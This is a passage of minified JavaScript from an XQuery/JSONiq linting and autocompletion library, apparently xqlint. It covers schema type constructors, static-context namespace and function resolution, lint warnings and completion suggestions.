xs:anyAtomicType?\"],annotations:[],name:\"boolean\",arity:1,eqname:{uri:e,name:\"boolean\"}},t[e].functions[e+\"#decimal#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"decimal\",arity:1,eqname:{uri:e,name:\"decimal\"}},t[e].functions[e+\"#float#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"float\",arity:1,eqname:{uri:e,name:\"float\"}},t[e].functions[e+\"#double#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"double\",arity:1,eqname:{uri:e,name:\"double\"}},t[e].functions[e+\"#duration#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"duration\",arity:1,eqname:{uri:e,name:\"duration\"}},t[e].functions[e+\"#dateTime#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"dateTime\",arity:1,eqname:{uri:e,name:\"dateTime\"}},t[e].functions[e+\"#time#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"time\",arity:1,eqname:{uri:e,name:\"time\"}},t[e].functions[e+\"#date#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"date\",arity:1,eqname:{uri:e,name:\"date\"}},t[e].functions[e+\"#gYearMonth#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"gYearMonth\",arity:1,eqname:{uri:e,name:\"gYearMonth\"}},t[e].functions[e+\"#gYear#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"gYear\",arity:1,eqname:{uri:e,name:\"gYear\"}},t[e].functions[e+\"#gMonthDay#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"gMonthDay\",arity:1,eqname:{uri:e,name:\"gMonthDay\"}},t[e].functions[e+\"#gDay#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"gDay\",arity:1,eqname:{uri:e,name:\"gDay\"}},t[e].functions[e+\"#gMonth#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"gMonth\",arity:1,eqname:{uri:e,name:\"gMonth\"}},t[e].functions[e+\"#hexBinary#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"hexBinary\",arity:1,eqname:{uri:e,name:\"hexBinary\"}},t[e].functions[e+\"#base64Binary#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"base64Binary\",arity:1,eqname:{uri:e,name:\"base64Binary\"}},t[e].functions[e+\"#anyURI#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"anyURI\",arity:1,eqname:{uri:e,name:\"anyURI\"}},t[e].functions[e+\"#QName#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"QName\",arity:1,eqname:{uri:e,name:\"QName\"}},t[e].functions[e+\"#normalizedString#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"normalizedString\",arity:1,eqname:{uri:e,name:\"normalizedString\"}},t[e].functions[e+\"#token#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"token\",arity:1,eqname:{uri:e,name:\"token\"}},t[e].functions[e+\"#language#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"language\",arity:1,eqname:{uri:e,name:\"language\"}},t[e].functions[e+\"#NMTOKEN#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"NMTOKEN\",arity:1,eqname:{uri:e,name:\"NMTOKEN\"}},t[e].functions[e+\"#Name#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"Name\",arity:1,eqname:{uri:e,name:\"Name\"}},t[e].functions[e+\"#NCName#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"NCName\",arity:1,eqname:{uri:e,name:\"NCName\"}},t[e].functions[e+\"#ID#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"ID\",arity:1,eqname:{uri:e,name:\"ID\"}},t[e].functions[e+\"#IDREF#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"IDREF\",arity:1,eqname:{uri:e,name:\"IDREF\"}},t[e].functions[e+\"#ENTITY#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"ENTITY\",arity:1,eqname:{uri:e,name:\"ENTITY\"}},t[e].functions[e+\"#integer#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"integer\",arity:1,eqname:{uri:e,name:\"integer\"}},t[e].functions[e+\"#nonPositiveInteger#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"nonPositiveInteger\",arity:1,eqname:{uri:e,name:\"nonPositiveInteger\"}},t[e].functions[e+\"#negativeInteger#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"negativeInteger\",arity:1,eqname:{uri:e,name:\"negativeInteger\"}},t[e].functions[e+\"#long#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"long\",arity:1,eqname:{uri:e,name:\"long\"}},t[e].functions[e+\"#int#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"int\",arity:1,eqname:{uri:e,name:\"int\"}},t[e].functions[e+\"#short#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"short\",arity:1,eqname:{uri:e,name:\"short\"}},t[e].functions[e+\"#byte#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"byte\",arity:1,eqname:{uri:e,name:\"byte\"}},t[e].functions[e+\"#nonNegativeInteger#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"nonNegativeInteger\",arity:1,eqname:{uri:e,name:\"nonNegativeInteger\"}},t[e].functions[e+\"#unsignedLong#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"unsignedLong\",arity:1,eqname:{uri:e,name:\"unsignedLong\"}},t[e].functions[e+\"#unsignedInt#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"unsignedInt\",arity:1,eqname:{uri:e,name:\"unsignedInt\"}},t[e].functions[e+\"#unsignedShort#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"unsignedShort\",arity:1,eqname:{uri:e,name:\"unsignedShort\"}},t[e].functions[e+\"#unsignedByte#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"unsignedByte\",arity:1,eqname:{uri:e,name:\"unsignedByte\"}},t[e].functions[e+\"#positiveInteger#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"positiveInteger\",arity:1,eqname:{uri:e,name:\"positiveInteger\"}},t[e].functions[e+\"#yearMonthDuration#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"yearMonthDuration\",arity:1,eqname:{uri:e,name:\"yearMonthDuration\"}},t[e].functions[e+\"#dayTimeDuration#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"dayTimeDuration\",arity:1,eqname:{uri:e,name:\"dayTimeDuration\"}},t[e].functions[e+\"#untypedAtomic#1\"]={params:[\"$arg as xs:anyAtomicType?\"],annotations:[],name:\"untypedAtomic\",arity:1,eqname:{uri:e,name:\"untypedAtomic\"}},t}},{}],4:[function(e,t,n){n.StaticContext=function(t,n){\"use strict\";var r=e(\"../tree_ops\").TreeOps,i=e(\"./errors\"),s=i.StaticError,o=i.StaticWarning,u=e(\"./schema_built-in_types\").getSchemaBuiltinTypes,a={sl:0,sc:0,el:0,ec:0},f={},l=function(e){return e.uri+\"#\"+e.name},c=function(e,t){return l(e)+\"#\"+t};t||(f[\"http://jsoniq.org/functions\"]={prefix:\"jn\",pos:a,type:\"module\",override:!0},f[\"http://www.28msec.com/modules/collections\"]={prefix:\"db\",pos:a,type:\"module\",override:!0},f[\"http://www.28msec.com/modules/store\"]={prefix:\"store\",pos:a,type:\"module\",override:!0},f[\"http://jsoniq.org/function-library\"]={prefix:\"libjn\",pos:a,type:\"module\",override:!0},f[\"http://www.w3.org/2005/xpath-functions\"]={prefix:\"fn\",pos:a,type:\"module\",override:!0},f[\"http://www.w3.org/2005/xquery-local-functions\"]={prefix:\"local\",pos:a,type:\"declare\",override:!0},f[\"http://www.w3.org/2001/XMLSchema-instance\"]={prefix:\"xsi\",pos:a,type:\"declare\"},f[\"http://www.w3.org/2001/XMLSchema\"]={prefix:\"xs\",pos:a,type:\"declare\"},f[\"http://www.w3.org/XML/1998/namespace\"]={prefix:\"xml\",pos:a,type:\"declare\"},f[\"http://zorba.io/annotations\"]={prefix:\"an\",pos:a,type:\"declare\",override:!0},f[\"http://www.28msec.com/annotations/rest\"]={prefix:\"rest\",pos:a,type:\"declare\",override:!0},f[\"http://www.w3.org/2005/xqt-errors\"]={prefix:\"err\",pos:a,type:\"declare\",override:!0},f[\"http://zorba.io/errors\"]={prefix:\"zerr\",pos:a,type:\"declare\",override:!0});var h={parent:t,children:[],pos:n,setModuleResolver:function(e){return this.root.moduleResolver=e,this},setModules:function(e){if(this!==this.root)throw new Error(\"setModules() not invoked from the root static context.\");this.moduleResolver=function(t){return e[t]};var t=this;return Object.keys(this.namespaces).forEach(function(e){var n=t.namespaces[e];if(n.type===\"module\"){var i=t.moduleResolver(e);i.variables&&r.concat(t.variables,i.variables),i.functions&&r.concat(t.functions,i.functions)}}),this},setModulesFromXQDoc:function(e){if(this!==this.root)throw new Error(\"setModulesFromXQDoc() not invoked from the root static context.\");var t={};Object.keys(e).forEach(function(n){var r=e[n],i={},s={};r.functions.forEach(function(e){s[n+\"#\"+e.name+\"#\"+e.arity]={params:[],annotations:[],name:e.name,arity:e.arity,eqname:{uri:n,name:e.name}},e.parameters.forEach(function(t){s[n+\"#\"+e.name+\"#\"+e.arity].params.push(\"$\"+t.name)})}),r.variables.forEach(function(e){var t=e.name.substring(e.name.indexOf(\":\")+1);i[n+\"#\"+t]={type:\"VarDecl\",annotations:[],eqname:{uri:n,name:t}}}),t[n]={variables:i,functions:s}}),this.root.moduleResolver=function(e){return t[e]};var n=this;return Object.keys(this.namespaces).forEach(function(e){var t=n.namespaces[e];if(t.type===\"module\"){var i=n.moduleResolver(e);i.variables&&r.concat(n.variables,i.variables),i.functions&&r.concat(n.functions,i.functions)}}),this},moduleNamespace:\"\",defaultFunctionNamespace:\"http://www.w3.org/2005/xpath-functions\",defaultFunctionNamespaces:[\"http://www.28msec.com/modules/collections\",\"http://www.28msec.com/modules/store\",\"http://jsoniq.org/functions\",\"http://jsoniq.org/function-library\",\"http://www.w3.org/2001/XMLSchema\"],defaultElementNamespace:\"\",namespaces:f,availableModuleNamespaces:[],importModule:function(e,t,n){if(this!==this.root)throw new Error(\"Function not invoked from the root static context.\");this.addNamespace(e,t,n,\"module\");if(this.moduleResolver)try{var i=this.moduleResolver(e,[]);i.variables&&r.concat(this.variables,i.variables),i.functions&&r.concat(this.functions,i.functions)}catch(o){throw new s(\"XQST0059\",'module \"'+e+'\" not found',n)}return this},getAvailableModuleNamespaces:function(){return this.root.availableModuleNamespaces},getPrefixByNamespace:function(e){return this.root.namespaces[e].prefix},addNamespace:function(e,t,n,r){if(t===\"\"&&r===\"module\")throw new o(\"W01\",\"Avoid this type of import. Use import module namespace instead\",n);if(e===\"\")throw new s(\"XQST0088\",\"empty target namespace in module import or module declaration\",n);var i=this.getNamespace(e);if(i&&i.type===r&&r!==\"declare\"&&!i.override)throw new s(\"XQST0047\",'\"'+e+'\": duplicate target namespace',n);i=this.getNamespaceByPrefix(t);if(i&&!i.override)throw new s(\"XQST0033\",'\"'+t+'\": namespace prefix already bound to \"'+i.uri+'\"',n);i=this.namespaces[e],this.namespaces[e]={prefix:t,pos:n,type:r};if(i)throw new o(\"W02\",'\"'+e+'\" already bound to the \"'+i.prefix+'\" prefix',n)},getNamespaces:function(){return this.root.namespaces},getNamespace:function(e){var t=this;while(t){var n=t.namespaces[e];if(n)return n;t=t.parent}},getNamespaceByPrefix:function(e){var t=function(t){var r=n.namespaces[t];if(r.prefix===e)throw r.uri=t,r},n=this;while(n){try{Object.keys(n.namespaces).forEach(t)}catch(r){return r}n=n.parent}},resolveQName:function(e,t){var n={uri:\"\",prefix:\"\",name:\"\"},r;if(e.substring(0,2)===\"Q{\")r=e.indexOf(\"}\"),n.uri=e.substring(2,r),n.name=e.substring(r+1);else{r=e.indexOf(\":\"),n.prefix=e.substring(0,r);var i=this.getNamespaceByPrefix(n.prefix);if(!i&&n.prefix!==\"\"&&[\"fn\",\"jn\"].indexOf(n.prefix)===-1)throw new s(\"XPST0081\",'\"'+n.prefix+'\": can not expand prefix of lexical QName to namespace URI',t);i&&(n.uri=i.uri),n.name=e.substring(r+1)}return n},variables:{},varRefs:{},functionCalls:{},addVariable:function(e,t,n){if(t!==\"VarDecl\"||this.moduleNamespace===\"\"||this.moduleNamespace===e.uri||e.uri===\"\"&&this.defaultFunctionNamespace===this.moduleNamespace){var r=l(e);if(t===\"VarDecl\"&&this.variables[r])throw new s(\"XQST0049\",'\"'+e.name+'\": duplicate variable declaration',n);return this.variables[r]={type:t,pos:n,qname:e,annotations:{}},this}throw new s(\"XQST0048\",'\"'+e.prefix+\":\"+e.name+'\": Qname not library namespace',n)},getVariables:function(){var e={},t=this,n=function(n){e[n]||(e[n]=t.variables[n])};while(t)Object.keys(t.variables).forEach(n),t=t.parent;return e},getVariable:function(e){var t=l(e),n=this;while(n){if(n.variables[t])return n.variables[t];n=n.parent}},addVarRef:function(e,t){var n=this.getVariable(e);if(!n&&(e.uri===\"\"||this.root.moduleResolver))throw new s(\"XPST0008\",'\"'+e.name+'\": undeclared variable',t);var r=l(e);this.varRefs[r]=!0},addFunctionCall:function(e,t,n){var r=this.getFunction(e,t);if(!(!!r||e.uri!==\"http://www.w3.org/2005/xquery-local-functions\"&&!this.root.moduleResolver||(e.uri===\"http://www.w3.org/2005/xpath-functions\"||e.uri===\"\"&&this.root.defaultFunctionNamespaces.concat(this.root.defaultFunctionNamespace).indexOf(\"http://www.w3.org/2005/xpath-functions\")!==-1)&&e.name===\"concat\")&&!r)throw new s(\"XPST0008\",'\"'+e.name+\"#\"+t+'\": undeclared function',n);var i=c(e,t);this.functionCalls[i]=!0},functions:u()[\"http://www.w3.org/2001/XMLSchema\"].functions,getFunctions:function(){return this.root.functions},getFunction:function(e,t){var n=c(e,t),r;if(e.uri===\"\"){var i=this;return this.root.defaultFunctionNamespaces.concat([this.root.defaultFunctionNamespace]).forEach(function(n){if(!!r)return!1;r=i.getFunction({uri:n,prefix:e.prefix,name:e.name},t)}),r}return this.root.functions[n]},addFunction:function(e,t,n){if(this!==this.root)throw new Error(\"addFunction() not invoked from the root static context.\");var r=n.length;if(this.moduleNamespace===\"\"||this.moduleNamespace===e.uri||e.uri===\"\"&&this.defaultFunctionNamespace===this.moduleNamespace){var i=c(e,r);if(this.functions[i])throw new s(\"XQST0034\",'\"'+e.name+'\": duplicate function declaration',t);return this.functions[i]={pos:t,params:n},this}throw new s(\"XQST0048\",'\"'+e.prefix+\":\"+e.name+'\": Qname not library namespace',t)}};return h.root=t?t.root:h,h}},{\"../tree_ops\":11,\"./errors\":1,\"./schema_built-in_types\":3}],5:[function(e,t,n){n.Translator=function(t,n){\"use strict\";var r=e(\"./errors\"),i=r.StaticError,s=r.StaticWarning,o=e(\"../tree_ops\").TreeOps,u=e(\"./static_context\").StaticContext,a=e(\"./handlers\"),f=function(e,t){var n=[];return t.length===0?e:(e.children.forEach(function(e){e.name===t[0]&&t.length>1?n=f(e,t.slice(1)):e.name===t[0]&&n.push(e)}),n)},l=[];this.apply=function(e){try{e()}catch(t){if(t instanceof i)c(t);else{if(!(t instanceof s))throw t;h(t.getCode(),t.getMessage(),t.getPos())}}};var c=function(e){l.push({pos:e.getPos(),type:\"error\",level:\"error\",message:\"[\"+e.getCode()+\"] \"+e.getMessage()})},h=function(e,t,n){l.push({pos:n,type:\"warning\",level:\"warning\",message:\"[\"+e+\"] \"+t})};this.getMarkers=function(){return l};var p=this;t.pos=n.pos;var d=t,v=function(e){d=new u(d,e),d.parent.children.push(d)},m=function(e){e!==undefined&&(d.pos.el=e.el,d.pos.ec=e.ec),Object.keys(d.varRefs).forEach(function(e){d.variables[e]||(d.parent.varRefs[e]=!0)}),Object.keys(d.variables).forEach(function(e){!d.varRefs[e]&&d.variables[e].type!==\"GroupingVariable\"&&d.variables[e].type!==\"CatchVar\"&&h(\"W03\",'Unused variable \"$'+d.variables[e].qname.name+'\"',d.variables[e].pos)}),d=d.parent};this.visitOnly=function(e,t){e.children.forEach(function(e){t.indexOf(e.name)!==-1&&p.visit(e)})},this.getFirstChild=function(e,t){var n;return e.children.forEach(function(e){e.name===t&&n===undefined&&(n=e)}),n},this.ModuleDecl=function(e){return this.visitChildren(e,a.ModuleDecl(p,t,e)),!0},this.Prolog=function(e){return this.visitOnly(e,[\"DefaultNamespaceDecl\",\"Setter\",\"NamespaceDecl\",\"Import\"]),n.index.forEach(function(e){if(e.name===\"VarDecl\")e.children.forEach(function(n){n.name===\"VarName\"&&p.apply(function(){var r=o.flatten(n),i=t.resolveQName(r,n.pos);t.addVariable(i,e.name,n.pos)})});else if(e.name===\"FunctionDecl\"){var n,r,i=[];e.children.forEach(function(e){e.name===\"EQName\"?(n=e,r=e.pos):e.name===\"ParamList\"&&e.children.forEach(function(e){e.name===\"Param\"&&i.push(o.flatten(e))})}),p.apply(function(){n=o.flatten(n),n=t.resolveQName(n,r),t.addFunction(n,r,i)})}}),this.visitOnly(e,[\"ContextItemDecl\",\"AnnotatedDecl\",\"OptionDecl\"]),!0},this.ModuleImport=function(e){return this.visitChildren(e,a.ModuleImport(p,t,e)),!0},this.SchemaImport=function(e){return this.visitChildren(e,a.SchemaImport(p,t,e)),!0},this.DefaultNamespaceDecl=function(e){return this.visitChildren(e,a.DefaultNamespaceDecl(p,t,e)),!0},this.NamespaceDecl=function(e){return this.visitChildren(e,a.NamespaceDecl(p,t,e)),!0};var g={};this.AnnotatedDecl=function(e){return g={},this.visitChildren(e,a.NamespaceDecl(p,t,e)),!0},this.CompatibilityAnnotation=function(){return g[\"http://www.w3.org/2012/xquery#updating\"]=[],!0},this.Annotation=function(e){return this.visitChildren(e,{EQName:function(e){var t=o.flatten(e);p.apply(function(){var n=d.resolveQName(t,e.pos);g[n.uri+\"#\"+n.name]=[]})}}),!0},this.VarDecl=function(e){try{var n=p.getFirstChild(e,\"VarName\"),r=o.flatten(n),i=d.resolveQName(r,n.pos),s=t.getVariable(i);s&&(s.annotations=g)}catch(u){}return this.visitOnly(e,[\"ExprSingle\",\"VarValue\",\"VarDefaultValue\"]),!0},this.FunctionDecl=function(e){var t=g[\"http://www.w3.org/2012/xquery#updating\"]!==undefined,n=f(e,[\"ReturnType\"])[0],r=f(e,[\"EQName\"])[0];!n&&!t&&h(\"W05\",\"Untyped return value\",r.pos);var i=!1;return e.children.forEach(function(e){if(e.name===\"TOKEN\"&&e.value===\"external\")return i=!0,!1}),i||(v(e.pos),this.visitChildren(e),m()),!0},this.VarRef=function(e){return this.visitChildren(e,a.VarRefHandler(p,d,e)),!0},this.Param=function(e){var t=f(e,[\"TypeDeclaration\"])[0];return t||h(\"W05\",\"Untyped function parameter\",e.pos),this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.InlineFunctionExpr=function(e){return v(e.pos),this.visitChildren(e),m(),!0};var y=[],b=function(e){v(e.pos),y.push(0),p.visitChildren(e);for(var t=1;t<=y[y.length-1];t++)m(e.pos);y.pop(),m()};this.StatementsAndOptionalExpr=function(e){return b(e),!0},this.StatementsAndExpr=function(e){return b(e),!0},this.BlockStatement=function(e){return b(e),!0},this.VarDeclStatement=function(e){v(e.pos),y[y.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e))};var w=[];this.FLWORExpr=this.FLWORStatement=function(e){v(e.pos),w.push(0),this.visitChildren(e);for(var t=1;t<=w[w.length-1];t++)m(e.pos);return w.pop(),m(),!0},this.ForBinding=function(e){return this.visitOnly(e,[\"ExprSingle\",\"VarValue\",\"VarDefaultValue\"]),v(e.pos),w[w.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.LetBinding=function(e){return this.visitOnly(e,[\"ExprSingle\",\"VarValue\",\"VarDefaultValue\"]),v(e.pos),w[w.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.GroupingSpec=function(e){var t=!1;e.children.forEach(function(e){if(e.value===\":=\")return t=!0,!1});if(t){var n=e.children[0];return this.visitOnly(e,[\"ExprSingle\",\"VarValue\",\"VarDefaultValue\"]),v(e.pos),w[w.length-1]++,this.visitChildren(n,a.VarHandler(p,d,n)),!0}},this.TumblingWindowClause=function(e){return this.visitOnly(e,[\"ExprSingle\"]),v(e.pos),w[w.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e)),this.visitOnly(e,[\"WindowStartCondition\",\"WindowEndCondition\"]),!0},this.WindowVars=function(e){return v(e.pos),w[w.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.SlidingWindowClause=function(e){return this.visitOnly(e,[\"ExprSingle\",\"VarValue\",\"VarDefaultValue\"]),v(e.pos),w[w.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e)),this.visitOnly(e,[\"WindowStartCondition\",\"WindowEndCondition\"]),!0},this.PositionalVar=function(e){return this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.PositionalVar=function(e){return this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.CurrentItem=function(e){return this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.PreviousItem=function(e){return this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.NextItem=function(e){return this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.CountClause=function(e){return v(e.pos),w[w.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.CaseClause=function(e){return v(e.pos),this.visitChildren(e,a.VarHandler(p,d,e)),this.visitOnly(e,[\"ExprSingle\"]),m(),!0},this.TransformExpr=function(e){return v(e.pos),this.visitChildren(e),m(),!0},this.TransformSpec=function(e){return this.visitOnly(e,[\"ExprSingle\",\"VarValue\",\"VarDefaultValue\"]),this.visitChildren(e,a.VarHandler(p,d,e)),!0};var E=[];this.QuantifiedExpr=function(e){v(e.pos),E.push(0),this.visitChildren(e);for(var t=1;t<=E[E.length-1];t++)m(e.pos);return E.pop(),m(),!0},this.QuantifiedVarDecl=function(e){return this.visitOnly(e,[\"ExprSingle\"]),v(e.pos),E[E.length-1]++,this.visitChildren(e,a.VarHandler(p,d,e)),!0},this.FunctionCall=function(e){this.visitOnly(e,[\"ArgumentList\"]);var t=p.getFirstChild(e,\"EQName\"),n=o.flatten(t),r=f(e,[\"ArgumentList\",\"Argument\"]).length;return p.apply(function(){var i=d.resolveQName(n,e.pos);try{i.uri!==\"\"&&(d.root.namespaces[i.uri].used=!0)}catch(s){}d.addFunctionCall(i,r,t.pos)}),!0},this.TryClause=function(e){return v(e.pos),this.visitChildren(e),m(),!0},this.CatchClause=function(e){v(e.pos);var t=\"err\",n=\"http://www.w3.org/2005/xqt-errors\",r={sl:0,sc:0,el:0,ec:0};return d.addVariable({prefix:t,uri:n,name:\"code\"},\"CatchVar\",r),d.addVariable({prefix:t,uri:n,name:\"description\"},\"CatchVar\",r),d.addVariable({prefix:t,uri:n,name:\"value\"},\"CatchVar\",r),d.addVariable({prefix:t,uri:n,name:\"module\"},\"CatchVar\",r),d.addVariable({prefix:t,uri:n,name:\"line-number\"},\"CatchVar\",r),d.addVariable({prefix:t,uri:n,name:\"column-number\"},\"CatchVar\",r),d.addVariable({prefix:t,uri:n,name:\"additional\"},\"CatchVar\",r),this.visitChildren(e),m(),!0},this.Pragma=function(e){var n=o.flatten(f(e,[\"EQName\"])[0]);n=t.resolveQName(n,e);var r=o.flatten(f(e,[\"PragmaContents\"])[0]);if(n.name===\"xqlint\"&&n.uri===\"http://xqlint.io\"){v(e.pos);var i=r.match(/[a-zA-Z]+\\(([^)]+)\\)/g);return i.forEach(function(t){var n=t.substring(0,t.indexOf(\"(\")),r=t.substring(0,t.length-1).substring(t.indexOf(\"(\")+1).split(\",\").map(function(e){return e.trim()});n===\"varrefs\"&&r.forEach(function(t){var n=d.resolveQName(t.substring(1),e.pos);n.uri!==\"\"&&(d.root.namespaces[n.uri].used=!0),d.addVarRef(n,e.pos)})}),this.visitChildren(e),m(),!0}},this.visit=function(e){var t=e.name,n=!1;typeof this[t]==\"function\"&&(n=this[t](e)===!0),n||this.visitChildren(e)},this.visitChildren=function(e,t){for(var n=0;n<e.children.length;n++){var r=e.children[n];t!==undefined&&typeof t[r.name]==\"function\"?t[r.name](r):this.visit(r)}},this.visit(n),Object.keys(t.variables).forEach(function(e){!t.varRefs[e]&&(t.variables[e].annotations[\"http://www.w3.org/2005/xpath-functions#private\"]||t.moduleNamespace===\"\")&&t.variables[e].pos&&h(\"W03\",'Unused variable \"'+t.variables[e].qname.name+'\"',t.variables[e].pos)}),Object.keys(t.namespaces).forEach(function(e){var n=t.namespaces[e];n.used===undefined&&!n.override&&n.type===\"module\"&&h(\"W04\",'Unused module \"'+e+'\"',n.pos)})}},{\"../tree_ops\":11,\"./errors\":1,\"./handlers\":2,\"./static_context\":4}],6:[function(e,t,n){\"use strict\";function s(e,t,n){n=n||i;var r=[];for(var s=t-1;s>=0;s--){if(!n.test(e[s]))break;r.push(e[s])}return r.reverse().join(\"\")}function o(e,t){var n=0,r=e.length-1,i=Math.floor((r+n)/2);while(r>n&&i>=0&&e[i].indexOf(t)!==0)t<e[i]?r=i-1:t>e[i]&&(n=i+1),i=Math.floor((r+n)/2);while(i>0&&e[i-1].indexOf(t)===0)i--;return i>=0?i:0}var r=e(\"../tree_ops\").TreeOps,i=/[a-zA-Z_0-9\\$]/,u=/[a-zA-Z_0-9\\/\\.:\\-#]/,a=\"-._A-Za-z0-9:\\u00b7\\u00c0-\\u00d6\\u00d8-\\u00f6\\u00f8-\\u02ff\\u0300-\\u037d\\u037f-\\u1fff\\u200c\\u200d\\u203f\\u2040\\u2070-\\u218f\\u2c00-\\u2fef\\u3001-\\ud7ff\\uf900-\\ufdcf\\ufdf0-\\ufffd\",f=\"[\"+a+\"]\",l=\"[\"+a+\"\\\\$]\",c=new RegExp(f),h=new RegExp(l),p={LetBinding:\"Let binding\",Param:\"Function parameter\",QuantifiedExpr:\"Quantified expression binding\",VarDeclStatement:\"Local variable\",ForBinding:\"For binding\",TumblingWindowClause:\"Tumbling window binding\",WindowVars:\"Window variable\",SlidingWindowClause:\"Sliding window binding\",PositionalVar:\"Positional variable\",CurrentItem:\"Current item\",PreviousItem:\"Previous item\",NextItem:\"Next item\",CountClause:\"Count binding\",GroupingVariable:\"Grouping variable\",VarDecl:\"Module variable\"},d=function(e,t){t.sort();var n=o(t,e),r=[];for(var i=n;i<t.length&&t[i].indexOf(e)===0;i++)r.push(t[i]);return r},v=function(e,t,n){var r=e.indexOf(\":\");if(r===-1){var i=[],s=n.getNamespaces();Object.keys(s).forEach(function(e){(s[e].type===\"module\"||e===\"http://www.w3.org/2005/xquery-local-functions\")&&i.push(s[e].prefix)});var o=d(e,i),u=function(e){return{name:e+\":\",value:e+\":\",meta:\"prefix\"}};return o.map(u)}return[]},m=function(e,t,n){var r=[],i={},s=n.getFunctions(),o=\"\",u=\"\",a=e,f=e.indexOf(\":\"),l=!1;if(f!==-1){u=e.substring(0,f),a=e.substring(f+1);var h=n.getNamespaceByPrefix(u);h&&(o=n.getNamespaceByPrefix(u).uri)}else l=!0,o=n.root.defaultFunctionNamespace;Object.keys(s).forEach(function(e){var t=s[e],u=e.substring(0,e.indexOf(\"#\")),a=e.substring(e.indexOf(\"#\")+1);a=a.substring(0,a.indexOf(\"#\"));if(u!==o)return;l||(a=n.getNamespaces()[u].prefix+\":\"+a),a+=\"(\";var f=a;f+=t.params.map(function(e,t){return\"${\"+(t+1)+\":\\\\\"+e.split(\" \")[0]+\"}\"}).join(\", \"),a+=t.params.join(\", \"),a+=\")\",f+=\")\",r.push(a),i[a]=f});var p=d(e,r),v=function(e){return{name:e,value:e,meta:\"function\",priority:4,identifierRegex:c,snippet:i[e]}};return p.map(v)},g=function(e,t,n){var r=\"\",i=\"\",s=e.indexOf(\":\");s!==-1&&(i=e.substring(0,s),r=n.getNamespaceByPrefix(i).uri);var o=n.getVariables(),u=[],a={};Object.keys(o).forEach(function(e){var t=e.indexOf(\"#\"),r=e.substring(0,t),i=e.substring(t+1);r!==\"\"?(u.push(n.getPrefixByNamespace(r)+\":\"+i),a[n.getPrefixByNamespace(r)+\":\"+i]=o[e].type):(u.push(i),a[i]=o[e].type)});var f=d(e,u),l=function(e){return{name:\"$\"+e,value:\"$\"+e,meta:p[a[e]],priority:4,identifierRegex:h}};return f.map(l)},y=function(e,t,n){var r=s(e,t.col,c),i=e.substring(0,t.col-(r.length===0?0:r.length)),o=i[i.length-1]===\"$\";return o?g(r,t,n):r!==\"\"?m(r,t,n).concat(v(r,t,n)):g(r,t,n).concat(m(r,t,n)).concat(v(r,t,n))},b=function(e,t,n){var r=s(e,t.col,u),i=d(r,n.getAvailableModuleNamespaces()),o=function(e){return{name:e,value:e,meta:\"module\",priority:4,identifierRegex:u}};return i.map(o)};n.complete=function(e,t,n,i){var s=e.split(\"\\n\")[i.line],o=r.findNode(t,i),u=r.findNode(n,i);return u=u?u:n,o&&o.name===\"URILiteral\"&&o.getParent&&o.getParent.name===\"ModuleImport\"?b(s,i,u):y(s,i,u)}},{\"../tree_ops\":11}],7:[function(e,t,n){n.StyleChecker=function(e,t){\"use strict\";var n=\"    \",r=[];this.getMarkers=function(){return r},this.WS=function(e){var t=e.value.split(\"\\n\");return 